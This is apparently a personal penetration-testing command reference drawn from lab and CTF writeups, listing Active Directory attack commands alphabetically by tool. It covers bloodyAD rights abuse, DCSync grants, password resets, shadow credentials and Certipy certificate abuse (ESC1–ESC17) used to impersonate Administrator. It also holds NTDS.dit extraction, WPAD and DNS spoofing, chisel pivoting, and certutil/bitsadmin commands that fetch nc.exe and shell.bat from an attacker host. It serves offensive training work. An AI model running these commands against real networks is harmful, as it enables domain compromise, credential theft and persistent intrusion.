Commands Reference
Commands from my writeups and notes. Real values are replaced by placeholders.
access.log
accesschk
Checking for weak service ACLs in the Registry
accesschk.exe /accepteula "<USER>" -kvuqsw hklm\System\CurrentControlSet\servicesReview permissions on a named pipe
accesschk.exe /accepteula \\.\Pipe\lsass -vaccesschk64
Check service permissions
.\accesschk64.exe /accepteula -ucqv <SERVICE>Prolab Dante
add-adgroupmember
Add the created user into DNSAdmins Group
Add adgroup member
Add-ADGroupMember -identity "DNSAdmins" -Members testuser -Server <DOMAIN>add-content
add-dnsserverresourcerecorda
Adding a WPAD record
Add dns server resource record a
Add-DnsServerResourceRecordA -Name wpad -ZoneName <DOMAIN> -ComputerName dc01.<DOMAIN> -IPv4Address <LHOST>add-type
Decrypting Linked Server Passwords
Add type
Add-Type -AssemblyName System.Security;Request a user's TGS ticket with PowerShell
Add type
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.<DOMAIN>:1433"addcomputer
Add a machine account through proxychains
Add a machine account to the domain
proxychains4 -q addcomputer.py -computer-name '<COMPUTER_NAME>' -computer-pass <PASSWORD> -dc-ip <DC_IP> '<DOMAIN>/<USER>':<PASSWORD>Resource Based Constrained Delegation
Add a machine account to the domain
addcomputer.py -computer-name <ACCOUNT> -computer-pass <PASSWORD> -dc-ip <TARGET> <DOMAIN>/<USER>addspn · Add or modify SPNs over LDAP (krbrelayx)
Live SPN Jacking
Route a tool through a proxy chain
# --clear
proxychains4 -q python3 /opt/Tools/krbrelayx/addspn.py <TARGET> -u <USER> -p <PASSWORD> --clear -t 'DBSRV003$' -dc-ip <TARGET># --spn dmserver/DBSRV003
proxychains4 -q python3 /opt/Tools/krbrelayx/addspn.py <TARGET> -u <USER> -p <PASSWORD> --spn 'dmserver/DBSRV003' -t 'WEB01$' -dc-ip <TARGET>Unconstrained Delegation - Users
python addspn.py -u <USER> -p <PASSWORD> --target-type samname -t <USER> -s CIFS/roguecomputer.<DOMAIN> dc01.<DOMAIN>addusertogroup
AddMembers
python3 addusertogroup.py -d <DOMAIN> -g "Backup Operators" -a <USER> -u <USER> -p <PASSWORD>WriteDacl
python3 addusertogroup.py -d <DOMAIN> -g "Finance" -a <USER> -u <USER> -p <PASSWORD>adidnsdump
Resolve all records in a DNS zone over LDAP
adidnsdump -u <USER> ldap://<TARGET>Resolve unknown DNS records with an A query (-r)
adidnsdump -u <USER> ldap://<TARGET> -ransible-vault
Decrypt Hashes
ansible-vault decrypt <FILE>ansible2john
Crack Hash
Crack hashes with John the Ripper
ansible2john /tmp/Authority/pwm_admin.hashDecrypting Ansible Vault Password
Crack hashes with John the Ripper
ansible2john pwm_admin.hash > pwm_admin.hash.jtrformatUsed on Authority
antak-webshell
Location of Antak-Webshell on Parrot OS and Pwnbox
/usr/share/nishang/Antak-WebShellapt-get
Install Python 2.7
Run a Python 2.7 script
sudo apt-get install python2.7Install sshuttle
sudo apt-get install sshuttleautogen.sh
Build the ptunnel-ng files
sudo ./autogen.shawk
Spawn an interactive shell with awk
awk 'BEGIN {system("/bin/sh")}'bash
Generate 16,079,616 possible username combinations
Run bash
#!/bin/bash for x in {{A..Z}, {0..9}}{{A..Z},{0..9}}{{A..Z}, {0..9}}{{A..Z},{0..9}} do echo $x; donebitlocker2john
Extract BitLocker hashes from a VHD file
Crack hashes with John the Ripper
bitlocker2john -i Backup.vhd > backup.hashesbitsadmin
Download a file using Bitsadmin
Netcat connection
bitsadmin /transfer n http://<LHOST>/nc.exe C:\Temp\nc.exebloodhound
Collect all BloodHound data
Invoke blood hound
Invoke-BloodHound -CollectionMethod AllProlab Dante, Prolab RastaLabs
bloodhound-python
Collect AD data with bloodhound-python
Collect AD data for BloodHound
sudo bloodhound-python -u <USER> -p <PASSWORD> -ns <TARGET> -d <DOMAIN> -c allbloodyAD · AD privilege escalation over LDAP
add genericAll
Add genericAll with bloodyAD
# Management
bloodyAD -u <USER> -p <PASSWORD> -H <TARGET> -d <DOMAIN> add genericAll "Management" <USER># --host <OBJECT> <TRUSTEE>
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add genericAll <OBJECT> <TRUSTEE>Used on Certified · bloodyAD wiki
add groupMember
Add groupMember with bloodyAD
# Management
bloodyAD -u <USER> -p <PASSWORD> -H <TARGET> -d <DOMAIN> add groupMember "Management" <USER># -f rc4 ServiceManagers GMSA01
bloodyAD -d <DOMAIN> -k --host dc01.<DOMAIN> -u <USER> -p <PASSWORD> -f rc4 add groupMember ServiceManagers 'GMSA01$'# delegatedadmins FS01
bloodyAD -d <DOMAIN> -k --host dc01.<DOMAIN> -u <USER> -p <PASSWORD> add groupMember 'delegatedadmins' FS01$# --host <TARGET> <GROUP>
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add groupMember <GROUP> <MEMBER>Used on Certified · bloodyAD wiki
add uac
Add uac with bloodyAD
# FS01 -f TRUSTED_TO_AUTH_FOR_DELEGATION
bloodyAD -d <DOMAIN> -k --host "dc.<DOMAIN>" add uac FS01$ -f TRUSTED_TO_AUTH_FOR_DELEGATION# -f DONT_REQ_PREAUTH
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add uac -f DONT_REQ_PREAUTH <OBJECT>bloodyAD wiki
BloodyAD command to clear or set an attribute of an account
Set object with bloodyAD
python3 bloodyAD.py -d <DOMAIN> -u <USER> -p <PASSWORD> --host <DC_IP> set object <ACCOUNT> <ATTRIBUTE>BloodyAD command to get information about an account
Query AD objects with bloodyAD
python3 bloodyAD.py -d <DOMAIN> -u <USER> -p <PASSWORD> --host <DC_IP> get object <ACCOUNT>get object
Query AD objects with bloodyAD
python3 bloodyAD.py -H <DOMAIN> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <USER> --attr userAccountControlUsed on Checkpoint
get object (bloodyAD)
Query AD objects with bloodyAD
bloodyAD --host LUS2DC.<DOMAIN> -d <DOMAIN> -u <USER> -p <PASSWORD> -k get object "ShareAdmins" --attr memberUsed on LustrousTwo
get object (3)
Query AD objects with bloodyAD
bloodyAD -d <DOMAIN> --host DC01.<DOMAIN> -u <USER> -p <PASSWORD> -k get object <USER> --attr logonHoursUsed on Mirage
get object (4)
Query AD objects with bloodyAD
bloodyAD -u <USER> -p <PASSWORD> -d <DOMAIN> -H dc.<DOMAIN> -i <TARGET> get object 'FS01$' --attr msDS-AllowedToDelegateTo,userAccountControlUsed on Redelegate
get search
Query AD objects with bloodyAD
# --filter ms-mcs-admpwdexpirationtime=* --attr ms-m
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime# --base --filter objectClass=user --attr sAMAccount
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get search --base '<DN>' --filter '(objectClass=user)' --attr sAMAccountNameUsed on Timelapse · bloodyAD wiki
get writable
Query AD objects with bloodyAD
# python3 bloodyAD.py
python3 bloodyAD.py -H <DOMAIN> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable# bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable# bloodyAD --detail
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get writable --detailUsed on Checkpoint · bloodyAD wiki
remove uac
Remove an AD object or right with bloodyAD
# python3 bloodyAD.py remove
python3 bloodyAD.py -H <DOMAIN> -d <DOMAIN> -u <USER> -p <PASSWORD> remove uac <USER> -f ACCOUNTDISABLE# bloodyAD -f ACCOUNTDISABLE
bloodyAD -d <DOMAIN> --host DC01.<DOMAIN> -u <USER> -p <PASSWORD> -k remove uac <USER> -f ACCOUNTDISABLE# bloodyAD remove -f DONT_REQ_PREAUTH
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> remove uac -f DONT_REQ_PREAUTH <OBJECT>Used on Checkpoint, Mirage · bloodyAD wiki
set object
Set object with bloodyAD
bloodyAD -d <DOMAIN> --host DC01.<DOMAIN> -u <USER> -p <PASSWORD> -k set object <USER> logonHours -v '////////////////////////////' --b64Used on Mirage
set object (bloodyAD)
Set object with bloodyAD
bloodyAD -d <DOMAIN> -u <USER> --host dc01.<DOMAIN> -k set object '<USER>' userPrincipalName -v 'DC01$@<DOMAIN>'Used on Mirage
set object (3)
Set object with bloodyAD
bloodyAD -u <USER> -p <PASSWORD> -d <DOMAIN> -H dc.<DOMAIN> -i <TARGET> set object 'FS01$' msDS-AllowedToDelegateTo -v 'ldap/dc.<DOMAIN>'Used on Redelegate
set object (4)
Set object with bloodyAD
bloodyAD --host "<TARGET>" -d <DOMAIN> -u <USER> -p <PASSWORD> set object <USER> scriptPath -v 'EricsScripts\logonScript.bat'set object (python3)
Set object with bloodyAD
python3 bloodyAD.py -d <DOMAIN> -u <USER> -p <PASSWORD> --host <TARGET> set object <USER> servicePrincipalNameset object (6)
Set object with bloodyAD
python3 bloodyAD.py -d <DOMAIN> -u <USER> -p <PASSWORD> --host <TARGET> set object <USER> sAMAccountName -v dc03set object (7)
Set object with bloodyAD
python3 bloodyAD.py -d <DOMAIN> -u <USER> -p <PASSWORD> --host <TARGET> set object DC03 sAMAccountName -v <USER>set object (8)
Set object with bloodyAD
bloodyAD -d <DOMAIN> -k --host "dc.<DOMAIN>" set object FS01$ msDS-AllowedToDelegateTo -v 'cifs/dc.<DOMAIN>'set owner
Set owner with bloodyAD
# Management
bloodyAD -u <USER> -p <PASSWORD> -H <TARGET> -d <DOMAIN> set owner "Management" <USER># --host <OBJECT> <OWNER>
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> set owner <OBJECT> <OWNER>Used on Certified · bloodyAD wiki
set password
Set password with bloodyAD
bloodyAD -u <USER> -k -H DC01.<DOMAIN> -d <DOMAIN> set password <USER> '<NEW_PASSWORD>'Used on Certified
set password (bloodyAD)
Set password with bloodyAD
bloodyAD -d <DOMAIN> --host DC01.<DOMAIN> -u <USER> -p <PASSWORD> -k set password '<USER>' '<NEW_PASSWORD>'Used on Mirage
set password (3)
Set password with bloodyAD
bloodyAD -H <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> set password <USER> '<NEW_PASSWORD>'Used on Phantom
set password (4)
Set password with bloodyAD
bloodyAD -u <USER> -p <PASSWORD> -d <DOMAIN> -H dc.<DOMAIN> -i <TARGET> set password 'FS01$' '<NEW_PASSWORD>'Used on Redelegate #1, Redelegate #2
set password (5)
Set password with bloodyAD
bloodyAD -d <DOMAIN> -k --host "dc.<DOMAIN>" set password "FS01$" '<NEW_PASSWORD>'set password (6)
Set password with bloodyAD
bloodyAD -u <USER> -p <PASSWORD> -H <TARGET> -d <DOMAIN> set password <USER> '<NEW_PASSWORD>'set password (bloodyad)
Set password with bloodyAD
bloodyad -d <DOMAIN> -u <USER> -p <PASSWORD> -H <TARGET> set password <USER> '<NEW_PASSWORD>'set password (8)
Set password with bloodyAD
bloodyad -H <TARGET> -u <USER> -p <PASSWORD> -d <DOMAIN> set password <USER> '<NEW_PASSWORD>'set restore
Set restore with bloodyAD
# python3 bloodyAD.py CN=
python3 bloodyAD.py -H <DOMAIN> -d <DOMAIN> -u <USER> -p <PASSWORD> set restore "CN=<NAME>\0ADEL:<GUID>,CN=Deleted Objects,DC=<DOMAIN_PART>,DC=<DOMAIN_PART>"# bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> set restore <OBJECT>Used on Checkpoint · bloodyAD wiki
add badSuccessor
Add badSuccessor with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add badSuccessor -t <OBJECT> --ou <OU> <DMSA_NAME>bloodyAD wiki
add computer
Add computer with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add computer <HOSTNAME> <NEW_PASSWORD>bloodyAD wiki
add dcsync
Add dcsync with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add dcsync <TRUSTEE>bloodyAD wiki
add dnsRecord
Add dnsRecord with bloodyAD
# basic
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add dnsRecord <NAME> <DATA># --dnstype CNAME
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add dnsRecord --dnstype CNAME <NAME> <DATA>bloodyAD wiki
add rbcd
Configure resource-based constrained delegation
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add rbcd <OBJECT> <SERVICE>bloodyAD wiki
add shadowCredentials
Add shadowCredentials with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add shadowCredentials <OBJECT>bloodyAD wiki
add user
Add user with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> add user <USER_NAME> <NEW_PASSWORD>bloodyAD wiki
get bloodhound
Query AD objects with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get bloodhoundbloodyAD wiki
get children
Query AD objects with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get children --target <OBJECT>bloodyAD wiki
get dnsDump
Query AD objects with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get dnsDumpbloodyAD wiki
get membership
Query AD objects with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get membership <OBJECT>bloodyAD wiki
get object (5)
Query AD objects with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <OBJECT> --attr <ATTRIBUTE>bloodyAD wiki
get object (6)
Query AD objects with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get object <OBJECT> --attr nTSecurityDescriptor --resolve-sdbloodyAD wiki
get object (7)
Query AD objects with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<GMSA>$' --attr msDS-ManagedPasswordbloodyAD wiki
get object (8)
Query AD objects with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get object '<COMPUTER>$' --attr ms-Mcs-AdmPwdbloodyAD wiki
get trusts
Query AD objects with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> get trustsbloodyAD wiki
remove dcsync
Remove an AD object or right with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> remove dcsync <TRUSTEE>bloodyAD wiki
remove dnsRecord
Remove an AD object or right with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> remove dnsRecord <NAME> <DATA>bloodyAD wiki
remove genericAll
Remove an AD object or right with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> remove genericAll <OBJECT> <TRUSTEE>bloodyAD wiki
remove groupMember
Remove an AD object or right with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> remove groupMember <GROUP> <MEMBER>bloodyAD wiki
remove object
Remove an AD object or right with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> remove object <OBJECT>bloodyAD wiki
remove rbcd
Configure resource-based constrained delegation
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> remove rbcd <OBJECT> <SERVICE>bloodyAD wiki
remove shadowCredentials
Remove an AD object or right with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> remove shadowCredentials <OBJECT>bloodyAD wiki
set object (9)
Set object with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> set object <OBJECT> <ATTRIBUTE> -v <VALUE>bloodyAD wiki
set password (9)
Set password with bloodyAD
bloodyAD --host <TARGET> -d <DOMAIN> -u <USER> -p <PASSWORD> set password <OBJECT> <NEW_PASSWORD>bloodyAD wiki
Modify DNS Record (DNS Spoofing)
Add dnsRecord with bloodyAD
KRB5CCNAME=/tmp/krb5cc_1001 KRB5_CONFIG=/tmp/krb5.conf bloodyAD -d <DOMAIN> -u <USER> -k --dc-ip <TARGET> -host DC01.<DOMAIN> add dnsRecord wsus <LHOST>Used on Logging
cackmapexec
NTDS.dit
cackmapexec smb <TARGET> -u <USER> -p <PASSWORD> --ntdscapture
capture.pcap
certenroll
Abusing Access Shared Folders
CertEnrollcertificatemappingmethods
ESC10
CertificateMappingMethodsCertipy · AD CS enumeration and abuse
certipy account
Create or modify an AD account
# update -user -upn Administrator
certipy account update -u <USER> -hashes :<NT_HASH> -user <USER> -upn Administrator -dc-ip <TARGET># update -user -upn
certipy account update -u <USER> -hashes :<NT_HASH> -user <USER> -upn <USER>@<DOMAIN> -dc-ip <TARGET># update -user user2 -upn
certipy account update -u <USER> -p <PASSWORD> -user user2 -upn <USER>@<DOMAIN># create -user -dns DC02.
certipy account create -u <USER> -p <PASSWORD> -dc-ip <TARGET> -user <COMPUTER_NAME> -dns DC02.<DOMAIN>Used on Certified #1, Certified #2
certipy auth (certipy)
Authenticate with a certificate (PKINIT)
certipy auth -dc-ip <TARGET> -pfx <PFX> -ldap-shellUsed on Authority
certipy auth (3)
Authenticate with a certificate (PKINIT)
certipy auth -dc-ip <TARGET> -pfx <PFX> -domain <DOMAIN>Used on Certified
certipy auth (4)
Authenticate with a certificate (PKINIT)
certipy auth -pfx <PFX> -dc-ip <TARGET>Used on Fries, VulnCicada
certipy auth (5)
Authenticate with a certificate (PKINIT)
certipy auth -pfx <PFX> -dc-ip <TARGET> -domain <DOMAIN> -ldap-shellUsed on Mirage
certipy auth (6)
Authenticate with a certificate (PKINIT)
certipy auth -pfx <PFX> -username <USER> -domain <DOMAIN> -dc-ip <TARGET>certipy auth (7)
Authenticate with a certificate (PKINIT)
certipy auth -pfx <PFX> -domain <DOMAIN>certipy auth (8)
Authenticate with a certificate (PKINIT)
certipy auth -pfx <PFX> -domain <DOMAIN> -dc-ip <TARGET> -ldap-shellcertipy auth (9)
Authenticate with a certificate (PKINIT)
certipy auth -pfx <PFX> -username <USER> -domain <DOMAIN>certipy auth (proxychains4)
Authenticate with a certificate (PKINIT)
proxychains4 -q certipy auth -pfx <PFX> -username <USER> -domain <DOMAIN> -dc-ip <TARGET> -ns <TARGET> -dns-tcpcertipy auth (11)
Authenticate with a certificate (PKINIT)
certipy auth -pfx <PFX>certipy auth (12)
Authenticate with a certificate (PKINIT)
proxychains4 -q certipy auth -pfx <PFX> -dc-ip <TARGET> -domain <DOMAIN>certipy ca
Manage CA settings and officers
# certipy -ca lab-LAB-DC-CA -enable-template SubCA
certipy ca -u <USER> -p <PASSWORD> -ca lab-LAB-DC-CA -enable-template 'SubCA'# certipy -ca lab-LAB-DC-CA -add-officer
certipy ca -u <USER> -p <PASSWORD> -ca lab-LAB-DC-CA -add-officer <USER># certipy -ca lab-LAB-DC-CA -issue-request
certipy ca -u <USER> -p <PASSWORD> -ca lab-LAB-DC-CA -issue-request <ID># proxychains4 -q certipy -ns
proxychains4 -q certipy ca -u <USER> -p <PASSWORD> -dc-ip <TARGET> -ns <TARGET> -dns-tcp -target-ip <TARGET> -ca lab-WS01-CA -issue-request <ID>Enumerate AD CS templates and CAs
certipy find -vulnerable -u <USER> -p <PASSWORD> -dc-ip <TARGET> -stdoutcertipy find (certipy)
Enumerate AD CS templates and CAs
certipy find -u <USER> -k -no-pass -dc-ip <TARGET> -target DC01.<DOMAIN> -vulnerable -stdoutUsed on Fries
certipy find (3)
Enumerate AD CS templates and CAs
certipy find -target <USER>.<DOMAIN> -u <USER> -p <PASSWORD> -k -vulnerable -stdoutUsed on VulnCicada
certipy find (4)
Enumerate AD CS templates and CAs
certipy find -enabled -u <USER>@<TARGET> -p <PASSWORD> -stdoutcertipy find (5)
Enumerate AD CS templates and CAs
certipy find -u <USER> -p <PASSWORD> -dc-ip <TARGET> -stdoutcertipy find (6)
Enumerate AD CS templates and CAs
certipy find -u <USER> -p <PASSWORD> -dc-ip <TARGET> -vulnerable -stdoutcertipy find (7)
Enumerate AD CS templates and CAs
certipy find -u <USER> -p <PASSWORD> -stdout -vulnerablecertipy find (proxychains4)
Enumerate AD CS templates and CAs
proxychains4 -q certipy find -u <USER> -p <PASSWORD> -dc-ip <TARGET> -stdout -ns <TARGET> -dns-tcpcertipy find (9)
Enumerate AD CS templates and CAs
certipy find -u <USER> -p <PASSWORD> -dc-ip <TARGET> -bloodhoundcertipy find (10)
Enumerate AD CS templates and CAs
proxychains4 -q certipy find -u <USER> -p <PASSWORD> -target-ip <TARGET>certipy relay
Relay NTLM authentication to AD CS (ESC8)
# -target http:// -template Machine
sudo certipy relay -target "http://<TARGET>" -template Machine# -target -template DomainController
sudo certipy relay -target <TARGET> -template DomainController# -target rpc:// -ca lab-WS01-CA -template DomainCon
sudo certipy relay -target "rpc://<TARGET>" -ca "lab-WS01-CA" -template DomainControllerRequest a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -dc-ip <TARGET> -target <DOMAIN> -ca 'AUTHORITY-CA' -template <TEMPLATE> -upn 'administrator@<DOMAIN>' -sid S-1-5-21-<DOMAIN_SID>-500Used on Authority
certipy req (certipy)
Request a certificate from the CA
certipy req -k -dc-ip <TARGET> -target DC01.<DOMAIN> -ca certified-DC01-CA -template <TEMPLATE>Used on Certified
certipy req (3)
Request a certificate from the CA
certipy req -ca 'fries-DC01-CA' -template <TEMPLATE> -upn 'administrator@<DOMAIN>' -sid 'S-1-5-21-<DOMAIN_SID>-500' -u <USER> -p <PASSWORD> -target DC01.<DOMAIN> -dc-ip <TARGET>Used on Fries
certipy req (4)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -dc-ip <TARGET> -ca lab-LAB-DC-CA -template <TEMPLATE> -upn Administratorcertipy req (5)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -dc-ip <TARGET> -ca lab-LAB-DC-CA -template <TEMPLATE> -upn Administrator -target <TARGET> -debugcertipy req (6)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -ca 'lab-LAB-DC-CA' -template <TEMPLATE> -targetcertipy req (7)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -ca lab-LAB-DC-CA -template <TEMPLATE> -on-behalf-of 'lab\administrator' -pfx <PFX>certipy req (8)
Request a certificate from the CA
certipy req -u <USER> -hashes <NT_HASH> -ca lab-LAB-DC-CA -template <TEMPLATE>certipy req (9)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -ca lab-LAB-DC-CA -template <TEMPLATE> -upn <USER>@<DOMAIN>certipy req (10)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -ca lab-LAB-DC-CA -template <TEMPLATE> -upn Administratorcertipy req (11)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -ca lab-LAB-DC-CA -retrieve <ID>certipy req (proxychains4)
Request a certificate from the CA
proxychains4 -q certipy req -u <USER> -p <PASSWORD> -dc-ip <TARGET> -ns <TARGET> -dns-tcp -target-ip <TARGET> -ca lab-WS01-CA -template <TEMPLATE> -upn Administratorcertipy req (13)
Request a certificate from the CA
proxychains4 -q certipy req -u <USER> -p <PASSWORD> -dc-ip <TARGET> -ns <TARGET> -dns-tcp -target-ip <TARGET> -ca lab-WS01-CA -retrieve <ID>certipy req (14)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -ca lab-LAB-DC-CA -dc-ip <TARGET> -template <TEMPLATE>certipy req (15)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -dc-ip <TARGET> -ca lab-LAB-DC-CA -template <TEMPLATE>certipy req (16)
Request a certificate from the CA
certipy req -u <USER> -p <PASSWORD> -ca lab-LAB-DC-CA -template <TEMPLATE> -dc-ip <TARGET>certipy req (17)
Request a certificate from the CA
proxychains4 -q certipy req -u <USER> -p <PASSWORD> -target-ip <TARGET> -ca shibuya-AWSJPDC0522-CA -template <TEMPLATE> -upn _admin -key-size 4096certipy req (18)
Request a certificate from the CA
proxychains4 -q certipy req -u <USER> -p <PASSWORD> -target-ip <TARGET> -ca shibuya-AWSJPDC0522-CA -template <TEMPLATE> -upn _admin -key-size 4096 -sid S-1-5-21-<DOMAIN_SID>-500certipy shadow
Shadow Credentials attack
# certipy -account
certipy shadow -u <USER> -hashes :<NT_HASH> -dc-ip <TARGET> -account <USER> auto# certipy -account user2
certipy shadow auto -u <USER> -p <PASSWORD> -account user2# proxychains4 -q certipy -account
proxychains4 -q certipy shadow auto -u <USER> -p <PASSWORD> -account '<COMPUTER>$' -dc-ip '<TARGET>'Used on Certified · Zephyr notes
certipy template
Modify a certificate template
# -save-old
certipy template -u <USER> -p <PASSWORD> -template ESC4 -save-old# -configuration ESC4.json
certipy template -u <USER> -p <PASSWORD> -template ESC4 -configuration ESC4.jsoncertipy find/req/auth (ESC13)
ESC13: template linked via an issuance policy OID to a privileged group membership
certipy find -u '[email protected]' -p 'PASSWORD' -dc-ip DC_IP -vulnerable -stdout
certipy req -u '[email protected]' -p 'PASSWORD' -ca CA_NAME -template VULN_TEMPLATE
certipy auth -pfx USER.pfx -domain domain.localcertipy account/req (ESC14)
ESC14: weak explicit certificate mapping on a user's altSecurityIdentities
certipy account read -u '[email protected]' -p 'PASSWORD' -target TARGET
certipy account update -u '[email protected]' -p 'PASSWORD' -target TARGET -user VICTIM -upn [email protected]
certipy req -u '[email protected]' -p 'PASSWORD' -ca CA_NAME -template VULN_TEMPLATEcertipy req (ESC15)
ESC15: Schema v1 template, CVE-2024-49019 application-policy injection abused as an EKU
certipy find -u '[email protected]' -p 'PASSWORD' -dc-ip DC_IP -vulnerable -stdout
certipy req -u '[email protected]' -p 'PASSWORD' -ca CA_NAME -template VULN_TEMPLATE -application-policies "Certificate Request Agent"
certipy req -u '[email protected]' -p 'PASSWORD' -ca CA_NAME -template User -on-behalf-of 'domain\administrator' -pfx USER.pfxcertipy req/auth (ESC16)
ESC16: CA has the szOID_NTDS_CA_SECURITY_EXT SID security extension globally disabled
certipy find -u '[email protected]' -p 'PASSWORD' -dc-ip DC_IP -vulnerable -stdout
certipy req -u '[email protected]' -p 'PASSWORD' -ca CA_NAME -template User -upn [email protected]
certipy auth -pfx administrator.pfx -domain domain.localcertipy req/ca (ESC17)
ESC17: manager-approval requirement combined with another misconfiguration to bypass the control
certipy find -u '[email protected]' -p 'PASSWORD' -dc-ip DC_IP -vulnerable -stdout
certipy req -u '[email protected]' -p 'PASSWORD' -ca CA_NAME -template VULN_TEMPLATE
certipy ca -u '[email protected]' -p 'PASSWORD' -ca CA_NAME -issue-request REQUEST_IDcertreq
Request Certificate Manually
certreq -new C:\ProgramData\UpdateMonitor\request.inf C:\ProgramData\UpdateMonitor\cert.reqUsed on Logging
certutil · Windows certificate utility
Decode file with certutil
Decode a base64 file
certutil -decode encodedfile file2Download a file using Certutil
Download a file with certutil
certutil.exe -verifyctl -split -f http://<LHOST>/nc.exeEncode file with certutil
Encode a file as base64
certutil -encode file1 encodedfilePost-Exploitation
Certificate utility (download, encode and decode files)
certutil -getreg CA\SecurityUsed on Fries
Transfer file with certutil
Download a file with certutil
certutil.exe -urlcache -split -f http://<LHOST>:8080/shell.bat shell.batVerify ESC16
Certificate utility (download, encode and decode files)
certutil -getreg policy\DisableExtensionListUsed on Fries
CeWL · Custom wordlist generator
Build a wordlist from keywords on a website
cewl https://www.<DOMAIN> -d <DOMAIN> -m 6 --lowercase -w inlane.wordlistBuild a wordlist from a web page
cewl http://<TARGET>/<PAGE> > words.txtProlab Dante
changepasswd.py · Change or reset passwords (Impacket)
AddAllowedToAct
Set a new password from an NT hash
changepasswd.py -newhashes <HASH> <DOMAIN>/<USER>:<PASSWORD>@<DOMAIN>Used on Phantom
Resource Based Constrained Delegation
Set a new password from an NT hash
changepasswd.py <DOMAIN>/<USER>@<TARGET> -hashes :<NT_HASH> -newhash :<NT_HASH>user pass
Change or reset a password remotely (impacket)
changepasswd.py <DOMAIN>/<USER>@<DOMAIN> -newpass '<PASSWORD>'chisel · Fast TCP/UDP tunnel over HTTP
Start the chisel server
chisel server --reverse -p <PORT> -v --socks5Single Pivot
Start the chisel server
# server --reverse --socks5
chisel server -p <PORT> --reverse --socks5# client :8001 R:1080:socks
chisel client <KALI_IP>:8001 R:1080:socksStart Chisel server with reverse port forwarding
Start the chisel server
./chisel server --reverseTripple Pivot
Start the chisel server
# server --socks5
chisel server -p <PORT> --socks5# client :8002 R:1081:socks
chisel client <PIVOT1_IP>:8002 R:1081:socks# client :8003 R:1082:socks
chisel client <PIVOT2_IP>:8003 R:1082:socks# client
chisel clientchisel client
Connect chisel client / set up a tunnel
./chisel client -v <LHOST>:445 socksZephyr notes
Chisel SOCKS server
Start the chisel server
./chisel server -v -p <PORT> --socks5Prolab Zephyr
Chisel client forwarding a local port
.\chisel.exe client <LHOST>:<LPORT> R:8161:127.0.0.1:8161Prolab Cybernetics
cmd
Replace a service binary
Copy a file with cmd
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"Reviewing path variable
Print the PATH variable
cmd /c echo %PATH%Copy NTDS.dit from a volume shadow copy
Copy a file with cmd
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.ditcmdkey
Enumerate credentials stored in the current user's profile
cmdkey /listcoercer
ESC8
